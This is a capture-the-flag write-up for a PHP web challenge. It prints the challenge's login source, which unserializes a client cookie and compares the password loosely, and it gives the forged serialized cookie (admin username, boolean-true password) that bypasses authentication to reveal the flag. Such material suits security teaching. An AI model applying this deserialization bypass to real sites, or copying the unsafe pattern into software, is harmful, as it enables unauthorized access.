Securebug.se CTF Odin 2021: Usual or Unusual

Usual or Unusual

Category: Web security

200 points

“A company developed an authentication system and gave it to us for testing, I told the developers the way they authenticate a user is dangerous and unusual, But they disagreed and told me if i find the secret flag, They would reconsider. Help me find it.”

Challenge Link: https://ch4.sbug.se/

Solution

The challenge is based on cookie controlled login page.

login

Default cookie has very interesting data.

Encoded: O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22220608987964432547038141164605%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22guest%22%3Bs%3A14%3A%22%00User%00password%22%3Bs%3A5%3A%22guest%22%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFFFF%22%3B%7D

Decoded: O:4:"User":5:{s:8:"Userid";s:30:"220608987964432547038141164605";s:14:"Userusername";s:5:"guest";s:14:"Userpassword";s:5:"guest";s:16:"UsershowSource";b:0;s:11:"Usercolor";s:7:"#FFFFFF";}

At the moment interesting part was UsershowSource field, which if changed to 1 gave me the source code (below). Also worth mentioning is some additional null bytes encoded, which completely brake my url encoders/decoders and forced me to do changes on the encoded cookie (that wasn’t a big problem, but increased the chance to make mistake).

<?php

error_reporting(0);
//ini_set("display_errors", 1);
//error_reporting(0);
$seed = file_get_contents("seed");
$flag = file_get_contents("flag");

class User {    

    private $id;
    private $username;
    private $password;
    private $showSource;
    private $color;
    
    function __construct($id) {
        $this->id = $id;
        $this->username = "guest";
        $this->password = "guest";
        $this->showSource = false;
        $this->color = "#FFFFFF";
    }
    
    public function getUsername() {
        return $this->username;
    }
    
    public function setUsername($username) {
        $this->username = $username;
    }

    public function getPassword() {
        return $this->password;
    }
    
    public function setPassword($password) {
        $this->password = $password;
    }

    public function getShowSource() {
        return $this->showSource;
    }
    
    public function setShowSource($showSource) {
        $this->showSource = $showSource;
    }
    
    public function getColor() {
        return $this->color;
    }
    
    public function setColor($color) {
        $this->color = $color;
    }
}

$userColor = "#FFFFFF";
$result = "Login Failed";

if(isset($_POST["login"])){
    if(isset($_COOKIE["cookie"])){
        $user = unserialize($_COOKIE["cookie"]);
        $user->setUsername($_POST["username"]);
        $user->setPassword($_POST["password"]);
        setcookie("cookie", serialize($user), [
            "expires"=>time() + (86400 * 30),
            "path"=>"/",
            "httponly"=>true,
            "samesite"=>"Strict"
        ]);
    }
}

if(isset($_COOKIE["cookie"])){
    $user = unserialize($_COOKIE["cookie"]);
    if($user->getShowSource()){
        highlight_file(__FILE__);
        die();
    }else{
        $userColor = $user->getColor();
        gmp_random_seed($seed);
        $rand = gmp_random_bits(100);
        $password = $flag . gmp_strval($rand);
        if($user->getUsername() == "admin"){
            if($user->getPassword() == $password){
                $result = $flag;
            }
        }
    }
}else{
    $rand = gmp_random_bits(100);
    $user = new User(gmp_strval($rand));
    setcookie("cookie", serialize($user), [
        "expires"=>time() + (86400 * 30),
        "path"=>"/",
        "httponly"=>true,
        "samesite"=>"Strict"
    ]);
}

echo "<!DOCTYPE html>
<html lang='en'>
<head>
    <title>Login Page</title>
    <meta charset='UTF-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1'>
    <link rel='icon' type='image/png' href='images/icons/favicon.ico'/>
    <link rel='stylesheet' type='text/css' href='vendor/bootstrap/css/bootstrap.min.css'>
    <link rel='stylesheet' type='text/css' href='fonts/font-awesome-4.7.0/css/font-awesome.min.css'>
    <link rel='stylesheet' type='text/css' href='vendor/animate/animate.css'>
    <link rel='stylesheet' type='text/css' href='vendor/css-hamburgers/hamburgers.min.css'>
    <link rel='stylesheet' type='text/css' href='vendor/select2/select2.min.css'>
    <link rel='stylesheet' type='text/css' href='css/util.css'>
    <link rel='stylesheet' type='text/css' href='css/main.css'>
</head>
<body>
    <div class='bg-contact2'>
        <div class='container-contact2'>
            <div class='wrap-contact2' style=\"background: " . $userColor . ";\">
                <form method='POST' enctype='multipart/form-data' class='contact2-form validate-form'>
                    <span class='contact2-form-title' style='padding-bottom: 5%;'>
                        Login
                    </span>

                    <div class='wrap-input2 validate-input' data-validate='Username is required'>
                        <input class='input2' type='text' name='username'>
                        <span class='focus-input2' data-placeholder='USERNAME'></span>
                    </div>

                    <div class='wrap-input2 validate-input' data-validate = 'Password is required'>
                        <input class='input2' type='password' name='password'>
                        <span class='focus-input2' data-placeholder='PASSWORD'></span>
                    </div>
                    
                    <div class='container-contact2-form-btn'>
                        <div class='wrap-contact2-form-btn'>
                            <input type='submit' name='login' value='Login' class='contact2-form-btn'>
                        </div>
                    </div>
                </form><br>"
                . $result . 
            "</div>
        </div>
    </div>


    <script src='vendor/jquery/jquery-3.2.1.min.js'></script>
    <script src='vendor/bootstrap/js/popper.js'></script>
    <script src='vendor/bootstrap/js/bootstrap.min.js'></script>
    <script src='vendor/select2/select2.min.js'></script>
    <script src='js/main.js'></script>

    <script>
      window.dataLayer = window.dataLayer || [];
      function gtag(){dataLayer.push(arguments);}
      gtag('js', new Date());

      gtag('config', 'UA-23581568-13');
    </script>

</body>
</html>";

?>

To get the flag I’ve forged cookie as below:

O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22206922801991758349534736508434%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00User%00password%22%3Bb%3A1%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFF00%22%3B%7D

it reflects decoded data structure of:

O:4:"User":5:{s:8:"Userid";s:30:"206922801991758349534736508434";s:14:"Userusername";s:5:"admin";s:14:"Userpassword";b:1;s:16:"UsershowSource";b:0;s:11:"Usercolor";s:7:"#FFFF00";}

The most important change (aside from yellow background ;-) and admin username) is Userpassword field type changed to binary with value of true. The change makes if($user->getPassword() == $password){ statement true and gave me the flag.

flag

Flag

SBCTF{H0W_C0ULD_Y0U_R3AD_TH3_FL4G}

Privacy Policy
luc © 2021